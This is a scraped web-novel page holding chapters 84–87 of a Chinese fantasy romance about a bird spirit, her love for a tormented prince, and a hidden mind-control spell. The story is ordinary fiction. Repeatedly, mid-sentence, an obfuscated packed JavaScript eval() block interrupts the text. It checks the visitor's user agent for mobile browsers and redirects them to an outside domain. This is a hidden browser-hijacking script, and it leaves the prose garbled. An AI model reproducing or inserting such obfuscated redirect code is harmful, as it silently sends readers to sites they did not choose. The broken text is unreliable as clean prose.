千歌听到他的声音后睁开眼睛回望着他,似是做下什么抉择,片刻之后,认真地点了点头。 84. 浅歌行 鵸鵌一族善歌,其歌声曼妙无比,最重要的是它们的歌声能够为听到的人带来安宁祥和。 这是一种极为罕见也极为祥瑞的生物,似乎连上苍也对它们格外垂怜,让鵸鵌鸟所聚居的翼望山成为四海八荒最为独特的存在。 那是唯一一座不需要山神庇护,自有一道远古神力保护的山脉。 因此世人虽然皆知鵸鵌鸟的好处,却无法闯入翼望山猎杀它们。 猎杀瑞兽,会给他们自己以及身边的人带来不幸。 也正因鵸鵌鸟浑身都是宝藏惹来无数人觊觎,而整个四海八荒只有翼望山中的神力能够庇护它们,所以它们一般不会离开自己的家乡。 翼望山外几乎见不到这种传说中的生物。 所以陌浅一直都不知道千歌的身份,直到她开口唱歌缓解他的疼痛,他才在她的歌声中想起了自己曾在古籍上看到的这些信息。 知道她的身份之后,他的第一反应却是捂住了她的嘴。 “别唱了,若是被别人听到你的歌声,他们也就知道你来自鵸鵌一族了。”陌浅望向她的目光中满满的都是担忧。 “以后在殿中千万不能唱歌。”顿了顿,他不放心地补充道:“在外面更不能唱。人心的险恶非你能够想象,记住了吗?” 千歌眨眨眼睛,深深地注视着眼前这个将担心二字写在脸上的男人。 他说话时的语气和表情都像极了她的娘亲。 从前娘亲也会这样不厌其烦地嘱咐她,一遍又一遍地告诉她不要离开翼望山,就算有一日离开了家乡,在外面也一定要隐藏好身份。 外面世界人心的险恶非她能够想象。 娘亲一直都很为她的单纯感到担心。 她在心里对娘亲说,现在不用再担心了,她离开家乡后在外面的世界遇到的第一个人就是一个极好的人。 自那之后陌浅再也没有提起过关于鵸鵌一族的只言片语,他似乎是在刻意地让自己忘却这件事情。 千歌待在海上仙宫本就危险重重,若是让陌离知晓了她的身份,她一定性命不保。 因此这个宫里知道她身份的人最好一个都没有,包括他自己。 可是千歌仍然会在陌离来寝殿以罗盘取血之后为陌浅唱歌,她实在见不得陌浅强忍着剧痛还要单手为自己布阵疗伤的样子。 看着他苍白的脸色还有额头的冷汗,她觉得自己的心好像被一双手翻来覆去揉得皱巴巴的,酸得要滴出水来。 那时她还不明白这是一种怎样的感觉,只想要唱歌为他缓解伤口的疼痛。 直到化形之后,在与陌浅朝夕相处的点滴之中,她才渐渐明白那种皱皱巴巴的感觉名为心疼。 那时候她才知道,原来她从很早之前就已经开始喜欢他了。 意识到这一点之后她在很长一段时间里都不肯再化形,而是变回鸟儿的形态陪伴在陌浅身旁,在陌浅问她为何不肯化形的时候还会恼怒地飞出窗外,半天不肯回来。 陌浅不明白这是为什么,还以为她是为着这段时间的吃食里都没有辣椒而生气,于是耐心地跟她解释:“不是我不给你偷辣椒来,实在是这段时间厨房里都没有辣椒,我也没办法给你变出来,你且再等几日吧。” 千歌听后更恼怒了,一气之下又飞出窗外,比平时还晚了半炷香的时间才回来。 她一边恼怒陌浅这个木头脑袋怎么就想不到自己不肯化形的原因,一边又很庆幸他是个木头脑袋,迄今也不知道她一直都很为化形那日自己赤裸着身体出现在他的面前而羞赧。 她是在一个晴好的冬日里毫无征兆化形的。 那时她正与陌浅一起在窗边看星星。 陌浅絮絮地告诉她,他觉得冬夜里的星星是最美的,因为它们像结了霜一样透明澄澈。 说到这里他转头看她,然后她便在他错愕的眼神中化形了。 长发与夜色都遮不住她曼妙的身姿,那时初化形的她并不知道羞赧,只是略有些无措地望向陌浅,不知道该怎么办。 陌浅先是呆呆地注视了她一会儿,然后猛地别过头去,耳垂很快染上一抹微红。 直到千歌在寒风中打了个喷嚏,他才反应过来自己该做些什么,于是起身将自己身上的大氅脱下,披到了千歌的身上。 为她系好衣服的时候,他难得的有些结巴:“我这里没有女子穿的衣服,明日便将我的衣服裁了重新给你做。” 顿了顿,他又道:“可能会不太合身,估计也不太好看……你将就穿穿,我多做几件练练手。” 千歌听到他要亲自为自己做衣服穿,灿烂地笑着点了点头。 这个画面无疑是美好的,可是控制着精神游丝看到陌浅记忆里这一幕的青鸾却忍不住皱了皱眉。 她想起了自己化形的那一日。 化形之前的所有事情她都不太记得了,只记得自己化形那一日是在帝骁的书房中看他处理公务。 其实她也看不懂刻在玉简上的那些文字,并不知道帝骁是为了什么事情而眉头不展。 她只是喜欢书房中熏香的气味,喜欢蜡烛噼啪燃烧的声音,觉得在这样的小屋里和帝骁待在一起是一件很温馨的事情。 她也是在冬日的一个夜里毫无征兆化形的。 彼时帝骁批阅完最后一个玉简,随手拿了一块桌上的点心,吃了一口后似乎是觉得味道不错,于是伸手递给了旁边的青鸾。 青鸾在吃东西的口味偏好上也与千歌颇为相似,她也喜辣喜甜,尤其喜欢吃各种类型的松软糕点。 所以帝骁即便不爱吃糕点,依然会命人每天都准备好各色点心,一旦青鸾想吃立马便能呈上。 偶尔他吃到了好吃的点心,也会立马分享给她。 譬如现在,他将糕点举在空中,等着青鸾像往日一样飞过来啄食,却没有想到等来的是一只纤细的手。 化形后的青鸾赤裸着身体坐在帝骁的身旁,有些笨拙地接过糕点,目光里都是茫然。 她压根不知道自己有朝一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14393111|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日还能化形,能够像帝骁一样拥有修长的四肢。 更重要的是拥有同他一样的及腰墨发。 帝骁的墨色长发实在是很好看,这样纯粹的黑,像是浸泡在夜色里才能染就而成。 每次见到帝骁她都忍不住停在他的肩头盯着他的头发看,有时看得久了,帝骁会将她从自己肩头取下来,屈起食指轻轻弹一下她的脑袋:“在看什么?” 在看你呀。 青鸾在心里说。 化形后的青鸾依旧像从前那般呆呆地注视着帝骁,她觉得化形之后再看他,似乎与化形前给人的感觉不太一样了。 却又说不上来哪里不一样,于是她揉揉眼睛,更加仔细地看。 “在看什么?”帝骁问出这个熟悉的问题。 她顺着从前的想法脱口而出:“在看你呀。” 帝骁怔了一怔,嘴角扬起一抹不易察觉的笑。 然后他站起身,解下自己身上的墨色大氅,轻轻地披在了青鸾的身上。 同样是养在身边的鸟儿毫无征兆地化形,帝骁的反应就比陌浅沉稳多了。 他唤来宫婢,命她们再整理一遍早就为青鸾准备好的寝殿,领青鸾去换上女子穿的衣物。 青鸾初初化形,对于怎么做一个有手有脚的“人”还有些茫然。 她被宫婢们领着往书房外面走,一步一回头。 帝骁看她这副可怜的样子,轻轻叹了口气,起身陪她一起。 她化形之后的行走坐卧都是帝骁亲自教的。 他手把手教她吃饭时该如何用箸,该怎样走路才不会显得奇怪,以及要怎样才能克制住说话时总忍不住鸟鸣的习惯。 所以她依赖他。 在她眼里帝骁是如兄如父的存在。 后来她在一次宫宴中结识了帝宣,与帝宣混熟了之后便常常找他玩耍,看他从凡间搜罗来的话本子,看他如何练习布阵如何自创阵法。 在见过帝宣熟练的布阵手法以及帝骁凌厉的剑法之后,她萌生了学习法术的想法。 可是当她把自己的想法告诉帝骁时,却被他一口拒绝了。 他告诉她修行并不是一件好玩的事情,她所看见的都只是表面的光鲜,在那光鲜背后所要付出的努力是她想象不到的。 他说:“你会吃很多的苦,受很多的伤,然修行之路漫漫,你所承受的那些辛苦也许并不能带给你同等价值的回报。” 他还说:“举凡修仙之人,所追求的终极目标不过是一个神位。即便你不修行,我也有法子让天君赐你仙籍,在这之后我还会给你一个神君之位,你放心。” 彼时帝骁的语气是极尽温柔的,尤其在说放心二字时,他的声音轻柔得像是春日里的一汪水。 于是青鸾便也真的放下心来,她从此打消了修习法术的念头,安安心心地陪着帝骁待在青要宫中,只偶尔在帝宣让她多少学一些自保之术时浅浅地了解一下,早已忘记了自己最开始生出想要修行的念头并不是为了得到神位。 85. 浅歌行 此刻眼前的画面与青鸾过去的经历如出一辙。 她看见化形之后的千歌每天都在为陌浅危险的处境而担忧,她不愿陌浅独自面对那些危险,于是提出向他修习法阵之术,可是这个想法却被陌浅毫不犹豫地拒绝。 “从你踏上修行之路的那一刻开始,死亡就会和你如影随形。”他连拒绝千歌修习法术的理由都与帝骁一模一样:“海上仙宫的危险终究只是一时的,你放心,我会保护好你。比起这个,我更不愿让你因此将自己陷入更大的险地。” 千歌动了动嘴唇,还想坚持一下自己的想法,可是在对上陌浅温柔的目光时,她的心瞬间就软得一塌糊涂。 于是她顺从地点了点头,允许自己活在陌浅的庇护之下。 直到有一日,许久不曾设下禁制的海上仙宫被陌离重新布下了一道封锁禁制,对此毫不知情的千歌以鸟儿的形态在海上给自己放放风时不小心触碰到了它,瞬间被那道透明无形的禁制烧焦了半个翅膀。 更恐怖的是那道禁制在感知到有人意图闯出海域时,便会立即将这个消息传送到陌离那里去,不出片刻他就会赶到此地发现她的存在。 那一刻千歌是十分懊恼的,她懊恼自己当初向陌浅提出想要修习法术时怎么不坚定一点。 倘若她曾向陌浅学习了法阵之术,哪怕只是最简单的屏蔽法阵,此刻也不会这般束手无策。 她估计了一下自己拖着残损的翅膀从马上就要赶到的陌离手下逃走的可能性有多大,然后下一秒绝望地俯身朝海面冲去。 比起被陌离生擒,她宁愿溺死在波涛汹涌的大海里。 坠入海里之后她不受控制地化形为了人的模样,那是她第一次觉醒心火。 心火强大的力量不仅支撑着她化形,还修复了她被禁制所伤的臂膀,在她以为自己就要被淹死的时候,那于海水中燃起的火光为她打开了一道神秘的结界。 她落入结界之中,来到了陌浅儿时与母亲一起生活的那座海底牢狱。 彼时的她并不知晓这是何地,也不知道该怎么办才能离开这里。 她在尝试了所能想到的一切方法之后,开始依循着身体的本能催动心火。 起初她只是察觉到自己的身体里突然多出了一股强大的力量,于是想要利用这个力量将四周的墙壁击碎,看看能不能离开这里。 却没有想到,在指尖燃起心火之时,她的眼前出现了一道幽暗的悬浮阶梯。 她鼓起勇气踏上那道阶梯,没走一会儿便离开了海底,回到了海面之上。 因此之后与青鸾一起坠入此地,她的确是没有想到,原来那道神秘阶梯背后还藏着一座庞大的地宫。 回到海面之后她没敢立即去寻陌浅,而是吹着冷风等到夜幕降临,才趁着夜色飞到了陌浅的寝宫。 见到千歌安然归来,陌浅终于将紧锁的眉头舒展开,他下意识地伸手抱住她,将她的头按进自己怀里。 千歌毫无心理准备地被他一把抱住,第一反应却是红着脸挣脱,可是她挣脱得越用力,陌浅便抱得越紧。 她甚至感觉到他在颤抖。 “我没事的,我回来了。”她想要安慰他,这时候却变得笨嘴拙舌,根本不知道该说些什么,只好任由他将自己牢牢地抱在怀里。 过了许久许久,她抬手回抱住他。 “我听说今天有人触碰了禁制,海上仙宫搜寻了整整一日都没有找到那人的踪迹。我还以为是你……”他顿了顿,松开千歌,垂首注视着她:“你到哪里去了?一天都没回来,可知道有多危险?” 千歌咬咬嘴唇,犹豫了一下,有些怯怯地抬起头:“那个……今天触碰了禁制的人就是我……” “什么?”陌浅先是震惊,然后仔仔细细地打量着她:“可有哪里受伤?” 千歌还以为他首先会好奇自己是怎么逃脱追捕的,却没有想到他的第一反应是关心她有没有受伤。 她不禁扬起嘴唇,一边撒娇似地抱怨着自己的胳膊疼,一边将今天发生的一切都和盘托出。 在她说到自己无意中觉醒了心火的力量时,陌浅的目光微微一沉,而当她提到心火打开了某个神秘的结界,她也因此坠入了一个海底牢狱中时,他眸里的光彻底暗了下去。 千歌注意到了他神色的变化,伸手扯了扯他的衣袖问他怎么了。 他垂眸沉默了一会儿,然后重新注视着千歌,眼里弥漫起哀伤。 他的声音却是平静的,平静得甚至有些淡漠。 他告诉千歌,她所说的那座有着巨大铁链的海底牢狱,正是他从小生活的地方,而那些生了锈的锁链,是用来困住他的母亲的。 千歌惊讶而又心痛地捂住了嘴,然后便听到他问自己:“你在那里可曾见到了我的母亲?” 她摇了摇头,带着深深的歉意:“我不知道那是困住你母亲的地方,那里如今只剩下一些被砍断的锁链,没有人了。对不起,我……我没有看到她……” 陌浅一如既往温柔,分明难过的是他,可他仍像平时那般安慰千歌:“我以前从不曾告诉过你这些,这不是你的错,你不必自责。” 那晚两人一夜未眠,千歌坐在陌浅身旁,听着他讲述自己年幼时那段不堪的过往。 在听到陌离打伤了陌浅的母亲,将他抢回了海上仙宫时,她终于忍不住一拍桌子站了起来:“世上竟有如此恶毒的人,他根本就不配做你的父亲!” 说完还不解气,她又愤恨地跺了跺脚,“不行,我实在咽不下这口气。阿浅你放心,我现在觉醒了心火的力量,等我修炼得比他更强的那一天,一定要去把他狠揍一顿为你出气!” 晨曦攀上窗棂,随后缓缓向前,将她整个人都笼上了一层微光。 海风轻拂着她的面颊,拨动了她脸颊两侧的碎发。 陌浅抬首注视着站在光明里的她,有一瞬的怔神。 自小便在海底牢狱中长大的他早已习惯了黑暗,在被陌离带到海上仙宫之前他从来不曾见过外面的阳光。 因此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414074|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开海底牢狱之后他每天都会坐在窗前等待日出,等待着太阳温暖的光芒照耀到他身上来的那一刻。 可是不知道为什么,这些年来他几乎日日都会坐在窗前,太阳的光从窗户洒进来落到他的身上,却并不能给他带来设想中的温暖。 光芒从来都是耀眼的,而他的心却一日比一日寒冷。 直到看见千歌站在阳光里气愤地为他抱不平的那一刻,他感觉到一直身处数九寒冰中的那颗心,似乎微微地裂开了一条缝。 很细小的一条裂缝,但也足够阳光洒进来了。 他猛地站起身来,再一次将千歌拥进怀里。 他垂首在她的耳侧说:“就这样陪着我,永远不要离开我。” 千歌这回没再推开他,而是更加用力地回抱住他,重重地嗯了一声。 从那以后千歌便开始着意修炼自己对心火的掌控力,有时还会偷偷潜入海底牢狱,看看能否发现一些陌浅母亲去向的线索。 可惜每次她所看到的都只有那些生锈的铁链和冰冷的墙壁,唯一多出来的发现便只有地上一些青色的斑驳痕迹。 她花了很长的时间去研究那些斑驳痕迹,却没有看出什么异常,寻找陌浅母亲的唯一线索中断,她只好就此作罢。 没过多久陌浅的精神便出现了异常,他第一次发作癔症时是在和千歌一起观赏夜空中的星星的时候。 星子散发出来的冷冽的光在他眼里变为了道道剑光,他仿佛看到了漫天的利剑悬在空中蓄势待发,马上就要刺穿他的心脏。 于是他召出极渊,那柄以他母亲肋骨铸成的神剑,猛地挥向天边。 剑气掀飞了窗棂,在宫外的海域回荡,触碰到了禁制,发出刺耳的剑啸。 千歌被他这副模样吓了一跳,慌忙按住他的手臂,想要制止他的动作,却没有料到他下一剑挥向了她。 “你是谁?你是不是来杀我的?说,谁派你来的!” 银色的长发凌乱地覆在陌浅苍白的脸上,让他整个人看起来像一件濒临破碎的瓷器。 他不断地挥舞着手中的神剑,每一道剑气都足以取了千歌的性命。 千歌眼里噙着泪花,踉跄着后退,在听到门外的脚步声时,化为鸟儿的形态飞出窗外。 她躲在外面,听着寝殿内响起各种人的呼喊声,听见陌离赶来制服住陌浅,将他捆在殿内的柱子上。 “就让他在这里发疯,在他恢复正常之前谁都不许来看他。” 陌离的声音让千歌止不住地发抖,她几乎就要忍不住冲进去啄瞎他的眼睛,可是在听到陌浅痛苦的嘶吼声时,她终于还是压下了这股冲动。 她不是陌离的对手,在找到打败他的方法之前,她不能轻举妄动,否则只会给陌浅带来更大的灾难。 不知在外面等了多久,寝殿内的声音终于慢慢变小,而后彻底归于寂静。 千歌慌忙飞回殿中,化为人形含着眼泪站在陌浅面前,将被捆在柱上的他拥进怀里,轻轻为他唱起了歌。 86. 浅歌行 陌浅患了癔症之后状态时好时坏,陌离好似从中发现了什么乐趣,在陌浅恢复正常没有陷入被人追杀的臆想中时,他会命令陌浅与他的近卫搏斗,美其名曰锻炼他的实战能力,实际是想让他受到刺激,精神状态变得更不稳定。 他好像十分热衷于用各种各样的法子来折磨陌浅。 在他的折磨之下,陌浅的状态越来越糟,癔症发作的时间也越来越长。 饶是如此陌离依旧不放过他,他仍然时不时地用陌浅的血喂食青铜罗盘,陌浅的精神与身体遭受双重打压,人也变得越发虚弱。 千歌只能眼睁睁看着发生在陌浅身上的一切,却没有办法阻止,内心一日比一日煎熬。 终于有一天,又一次发作癔症之后,在千歌安抚的歌声中逐渐冷静下来的陌浅向她道出了一个似乎早已做下的决定:“你走吧,离开这里。” 这是他第二次让千歌离开。 这一次他没有多说什么,仿佛只是离开二字便耗尽他的精力,他知道千歌会理解他的想法的。 如今的他已经是一个患了癔症的疯子,是一个连保持清醒都做不到的废人。 他没有办法继续保护她。 所以他放她离开,即使他曾经祈求她留下,永远不要离开她。 比起一己私欲,他更希望她能自由地活在这个世上,而不是像他一样被困在笼中,活得像是阴沟里的一条蛆。 千歌自然明白他在想什么,正是因为明白,所以愈觉心痛。 她站在窗前,没有如陌浅所希望的那般离开这里,而是掀起袖子,以指为刃划破了自己的手臂。 “……你做什么?”陌浅反应过来之后想要阻止,却看见她将流血的手臂举到了自己的面前。 “鵸鵌一族的血液可以入药,药效甚佳,能够助人神思清明。”千歌平时在陌浅面前是最爱娇的,哪怕只是擦破了一点皮也会夸张地大呼小叫,可是这一次她在自己的手臂上留下了这样深的一道伤痕,却连眼都没眨。 陌浅怔怔地注视着千歌,看着她雪白手臂上鲜红的血,受了刺激般抬手捂住太阳穴,摇着头往后倒退。 “这次换我来保护你吧,好吗?” 千歌的声音轻柔,她学着从前陌浅无数次安慰自己的样子,一步一步地走到陌浅跟前。 鵸鵌一族的血液有让人神思清明的功效,这是多年之前母亲告诉她的。 而母亲之所以告诉她这一点,依然是为了让她保护好自己,在外人面前一定要隐藏好身份,否则随时会有危险。 那些人会将她捉来关在笼子里,日日夜夜取她的血,那时等待她的便只有无数个生不如死的日夜。 可是如今…… 她闭上眼睛,流下一滴泪,将仍在摇头拒绝的陌浅抱进怀里。 如今她是自愿用自己的血来换得陌浅的清明。 她在心里告诉母亲,他是她喜欢的人,她不忍看他受苦。 在陌浅的唇触碰到她手臂肌肤的时候,她禁不住微微一颤,无言地求早已逝去的母亲原谅自己。 千歌的血让陌浅的癔症发作得不再那么频繁,后来她又发现了用心火压制陌浅体内躁郁的方法,陌浅的状态变得一日比一日好。 便也就在这时,陌离开始频繁地在海上仙宫设下禁制,并对外宣告自己闭关,一律不见外客。 他开始闭关为陌浅“治疗”,两个人在密室中常常一待就是好几个月。 待结束闭关回到寝殿之后,陌浅的精神便会更加恍惚。 他开始陷入到一种恶性循环里,清醒的时日越来越少,糊涂的时间越来越多。 不过偶尔他也会有很长一段时间都保持清醒,那时他便会同千歌说许多许多的话,仿佛是要把自己神智不清的那一段时间都补回来。 青鸾在陌浅的识海中注视着两人相处的细节,在看到有一次两人促膝长谈,疼惜地触摸彼此眉眼,然后在月光下接吻的时候,青鸾指尖微动,结束了精神游丝对陌浅神识的控制。 她没有窥探他人隐私的习惯,只是想要从陌浅的记忆中探寻到更多关于东海秘事的信息而已。 如今她得到的信息不算太多,继续耽溺在陌浅破碎的记忆中已没有必要。 就在她准备撤了精神游丝,从陌浅的精神世界中出来的时候,陌浅隐藏在与千歌明亮的记忆碎片之下的一抹晦暗引起了她的注意。 他将那些痛苦的不堪的记忆全都隐藏在了潜意识深处,变为一片深色的海,令人难以捉摸。 而与千歌相处的那一些时光仿佛成为了他的救赎,成为那片弥漫着雾气的海面上唯一的光。 因此那些浮于意识表面的记忆是鲜活甚至明亮的,它们在无数个难熬的日夜里被陌浅拿出来反复摩挲,作为养料支撑着他在漫漫长夜里继续走下去。 正因如此,那片识海中微不可见的灰色才会如此吸引青鸾的注意。 明亮世界里的一抹灰色,那里面藏着什么不可见人的秘密? 她再次释放出精神游丝,精准地缠绕上那一抹暗色的回忆。 被陌浅刻意隐藏的记忆在一瞬之间涌入青鸾的脑海,方才她关于陌浅为何对千歌有所隐瞒的猜想在这一刻得到了印证,她恍然大悟,然后皱起了眉。 那是在陌浅某次癔症发作之后,千歌又一次用自己的血唤他清明,因失血过多,她疲惫地昏倒在了地上。 恢复清醒后的陌浅将她抱到床上,在昏暗的夜色中凝望着她苍白的脸。 他就这样在床沿坐了许久许久,不知在想些什么,在夜色即将逝去,黎明将要到来时,他掌心一翻,施了一个散发着浅蓝光芒的小型法阵,覆在了千歌的额上。 那道法阵的光芒是六芒星的形状,颜色很浅,释放出来的气息令人感到十分心安。 这是一个十分基础的法阵,但凡对修炼有所了解的人都知晓它是助人宁心养神的。 可是鲜有人知倘若对它的某处细节加以修改,它就会变成一道摄人心魂的法阵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14432466|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青鸾记得帝宣曾对她演示过。 “仔细看,浅蓝色六芒星中央那道似有若无的红光。只要有这样一道红光,便意味着法阵已经被修改。它不再是原本用来养神的法阵,而是专门用来摄人心魂的。” 法阵在帝宣的掌心缓缓旋转着,散发着柔和的光,看起来没有一点攻击性。 谁能想到这样一个看似人畜无害的法阵,会让中招的人逐渐变成一个没有自己思想,只能听从法阵主人指令的傀儡。 “这道阵法能让中招之人的神魂渐渐被法阵的主人所摄,不过大多数使用此阵的人并不会直接让中招之人变为傀儡。” 帝宣的声音很轻,却仿佛带有蛊惑之意,令青鸾听得入迷,她恍恍惚惚地问了一句:“为什么?” “因为那样太明显了。”帝宣收了法阵,两指并拢在青鸾额间一点,这让她的目光瞬间恢复清明:“你看,像方才那样岂不是更加神不知鬼不觉?若你持续方才那样的状态一段时间,便会不知不觉受到我的影响,此后无论我说什么,你都会照做不误。” “最可怕的是,分明你是做下了我想让你做的决定,可你丝毫不察,还会以为那正是你自己的决定。” “此之谓攻心。” 青鸾回忆了一下自己方才略有些恍惚的状态,有些后怕地摇了摇脑袋,然后批评道:“这手段未免也有些太脏了吧?” “这便是九重天宫上那些神君最常用的手段。”帝宣笑了笑,抬手覆上青鸾的脑袋以示安慰:“我让你分辨这种阵法,是为了让你有所防备。你虽不在九重天上,但所处的青要宫其实正是权力倾轧的中心,有很多双眼睛都盯着你。鸾儿,一定要时刻记住自己内心最真实的想法,做你自己想做的决定。” 青鸾抬头望着帝宣:“我觉得这法阵好可怕,它可有什么破解之法?” 帝宣注视着她的眼睛,目光温柔而专注:“它无法以外力破解,唯一的方法便只有我方才所言,时刻坚定你自己内心最真实的想法,永远对自己忠诚。当你的内心足够坚毅,它便不能伤你分毫。” 青鸾叹了口气:“可是要成为这样的人好难,我觉得大多数人即便没有中招,也很难坚定自己的想法。” 帝宣望向青鸾的目光里多了一些欣赏:“是的,绝大多数人即便没有遇见这个阵法,也常常会被别人的意见所左右,做一个永远忠于自己的人的确是很难的。” “可正因如此,你才更要明白,你的人生只属于你自己。” “那些替你做下决定的人并不能替你承受这个决定的后果,所有的后果只能由你一人承担。人们之所以总是能轻易地为别人做出选择,只因为他们不用承担后果,他们可以隔岸观火。” “所以,任何一个企图控制你的想法,操纵你的人生的人,都不值得原谅。” 彼时帝宣说这番话时声音里多了些平日里没有的情绪,似是警醒,又似痛心,还有一些平常不会有的义愤。 可惜那时的青鸾丝毫没有觉察。 87. 浅歌行 现在细细想来,从前的她所做下的那些决定,有哪一个是她内心真实的想法? 不修习法术,做一个柔弱不能自保的小妖,永远活在帝骁的庇护之下。 随帝骁踏上九重天,日复一日地在萦绕着寒凉之气的天宫中翘首以盼,苦苦地等待着帝骁处理完公务来看她一眼。 这不是她想要的生活,她活了那么些年竟没有一天是为自己而活。 帝骁为她做出了一个又一个选择,然后将她送上了诛仙台。 她永远记得预言梦中的那一幕,他的确是在隔岸观火。 她不知道帝骁是否对自己使用过那个法阵,也就不清楚她一步一步地走上帝骁想让她走的路,到底是自己生性脆弱没有主见,还是被那法阵影响了心神。 可是此刻,发生在千歌身上的事情她却是无比清楚。 陌浅正在用那个法阵控制千歌的心神。 在青鸾意识到这一点的时候,陌浅的精神世界也察觉到了外来者的闯入,它开始驱逐青鸾的精神游丝,向她关闭了记忆之海。 青鸾将精神游丝收回,缓缓睁开了眼。 睁开眼首先看见的便是千歌苍白的脸,她紧紧地闭着眼睛,正在全神贯注地护持着青鸾的心火,助她为陌浅稳定心神。 青鸾脑中瞬间闪过无数个想法,有关于千歌与陌浅的,也有她和帝骁的。 最终她什么也没说,只是轻轻唤了唤千歌的名字,告诉她今日的治疗就到这里。 千歌熄灭心火,欣喜地睁开眼望向陌浅:“青鸾,谢谢你,我感觉到陌浅的精神稳定多了,他应该很快就能醒了。” 青鸾点了点头,同千歌告辞,没有多言,起身朝窗外飞去。 昨晚路之遥为她疗伤后才嘱咐过她伤口不能碰水,她转眼便与千歌落入了海里,还在海底潮湿无比的地宫中待了一夜。 此刻脸上的伤口越来越疼,提醒着她被后神肋骨铸成的神剑所伤并非儿戏。 是时候去找路之遥换药了,正好她也有话想要问他。 来到路之遥的房间门口,她抬起手正欲叩门,却见门自己就开了。 路之遥站在门内望着她,目光里隐隐带有责备之意:“这么晚才……” 他原本是想责备青鸾来得太晚,炉上的药已经煎了好几遍,再煎下去就要失去药效了。 可是在见到青鸾狼狈的模样后,他将这句责备收了回去,转而用更不快的语气道:“又跟人打架了?” 青鸾捂住脸一怔,这句话直接让她沉默在了原地。 她实在没有想到路之遥会来这么一句,且这熟悉语气像极了从前帝骁催她吃饭的样子。 从前的她贪玩,青要山中随便一处好看的地方都能让她流连许久,更别提帝宣偷偷来找她玩,她更能好几个时辰都不回宫吃饭。 而帝骁是一个在衣食住行方方面面都十分严谨的人,虽然他根本就不用进食,可他每日都会在固定的时辰陪着青鸾一起吃饭。 每当青鸾玩过了头忘记了时间,匆匆往青要宫赶的时候,便能看见帝骁带着愠色等在门前。 “又忘记吃饭的时辰了?” 彼时他的语气自然是带着责备的,可是除了责备之外更多的是无奈,因为那一点愠怒在青鸾冲他撒娇时就会烟消云散。 此刻青鸾站在路之遥门前,望着带有愠色的他,久违的心虚感涌了上来,让她下意识想要冲他撒一撒娇,别生气了。 最后到底还是理智占据了上风,她将自己从记忆中抽离出来,面不改色地迈进了房间。 “没有跟人打架,就是一不小心掉进了海里。”说着她抬眼瞅了瞅路之遥的脸色。 到底还是有些心虚的。 路之遥的目光中仍旧带有愠色,但是在看见青鸾这副狼狈又委屈的模样后,除了无奈地叹气,似乎不知道该说什么了。 他将方才刚温过一遍的药递给青鸾:“趁热喝。” 顿了顿,又加了一句:“别烫着。” 青鸾接过药碗,在看见碗中还在冒泡的绿色液体时变了脸色。 “这这这……这是什么?” 她虽然不遵医嘱让伤口碰水还跟人打架,但路之遥应该不至于因为这个就想直接毒死她吧? 这碗东西怎么看也不像是能喝的样子! 路之遥听见青鸾略显惊恐的疑问,转过头来扫了一眼:“这个呀,这个是鬼草,赶紧趁热喝。” 青鸾听完之后更惊恐了,捧着药碗的手哆哆嗦嗦颤抖起来:“鬼草?就是那个一碰就死毒性无人能解整个四海八荒也没有几株的鬼草?” 好家伙,路之遥竟然真想毒死她。 还不惜下如此重的血本! 路之遥从桌上取来药膏,转身淡淡地道:“你喝的是向阳鬼草。” “世人皆知鬼草生于牛首山上,此山西面极昼,东面极夜,生长于极夜之地的鬼草即向阴鬼草,便是你们所熟知的毒性无人能解的毒草。” “但其实向阴鬼草的毒性是可以解的,解药便是生长在牛首山极昼之地的向阳鬼草,此草具有还魂之效,即便一只脚踏进了鬼门关也能救回来。” 青鸾再次细细地打量自己手中的那碗药:“我知道鬼草就生于牛首山上,可是不知它竟然还有向阳向阴之分。既然如此为何世人皆说鬼草之毒无药可解?他们为什么不去采这向阳鬼草来解毒呢?” 路之遥闻言挑眉一笑:“因牛首山极夜之地生长的鬼草世人皆知,而极昼之地便生长着解药之事这天下只有我一人知道。” 青鸾听他如此说,先是不可思议地啊了一声,旋即想到站在自己面前的可是威震天下的帝师路之遥,瞬间又觉得这件事情合理了起来。 她沉默地点了点头,那沉默中还带着一丝敬畏。 路之遥看着她仰头一口闷了手中的药后,俯身为她涂抹外敷的复颜膏。 他的指腹带有一点冰凉,轻轻地抚上青鸾的伤口,因为动作太轻青鸾甚至没有什么感觉。 她抬起头望向路之遥,见他一副欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 